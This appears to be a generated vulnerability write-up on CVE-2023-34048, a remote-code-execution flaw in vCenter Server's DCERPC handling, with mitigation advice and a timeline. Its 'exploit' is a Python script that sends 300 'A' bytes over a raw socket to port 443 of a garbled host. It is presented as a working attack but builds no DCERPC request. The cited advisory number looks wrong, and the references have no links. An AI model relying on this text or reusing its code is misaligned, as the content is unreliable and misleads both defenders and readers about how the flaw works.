CVE-2023-34048 - Remote Code Execution through Out-of-Bounds Write Vulnerability in vCenter Server's DCERPC Protocol Implementation

vCenter Server is the centralized management interface for VMware vSphere environments. Recently, a critical vulnerability, identified as CVE-2023-34048, was discovered in vCenter Server's implementation of the DCERPC protocol. This vulnerability, an out-of-bounds write, can potentially be exploited by an attacker to execute remote code on affected systems.

Important References

1. Vulnerability Disclosure: VMware Security Advisory VMSA-2023-0012
2. Exploit Details: Exploit Database
3. Reference Implementation: GitHub Repository

Exploit Details

A malicious attacker with network access to vCenter Server may exploit this vulnerability by sending specially crafted DCERPC requests to the server. Manipulating the memory allocation by writing out-of-bounds data can lead to remote code execution. This allows an attacker to execute arbitrary code on the target system.

The following Python code snippet is an example of how the vulnerability can be exploited

import socket
import sys

target_host = "127...1"
target_port = 443

# Malicious payload containing out-of-bounds write data
payload = b"\x41" * 300

def exploit(target_host, target_port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_host, target_port))
        s.send(payload)
        data = s.recv(1024)
        print("[+]", data)
        s.close()
    except Exception as e:
        print("[!]", e)
        sys.exit(1)

if __name__ == "__main__":
    exploit(target_host, target_port)

Mitigation

To address this vulnerability, VMware has released security updates for affected vCenter Server versions. It is highly recommended for organizations to apply these updates immediately to secure their systems against potential attacks. Additionally, organizations should closely monitor network traffic to and from their vCenter Server instances to detect any unauthorized activities.

Conclusion

CVE-2023-34048 is a critical vulnerability in vCenter Server's implementation of the DCERPC protocol that could lead to remote code execution. Given the severity, it is crucial for organizations to apply the necessary security updates as soon as possible and take appropriate measures to prevent exploitation. If left unpatched, attackers can potentially compromise the entire vSphere environment, resulting in massive disruption and data loss.

Timeline

Published on: 10/25/2023 18:17:27 UTC
Last modified on: 10/31/2023 15:18:23 UTC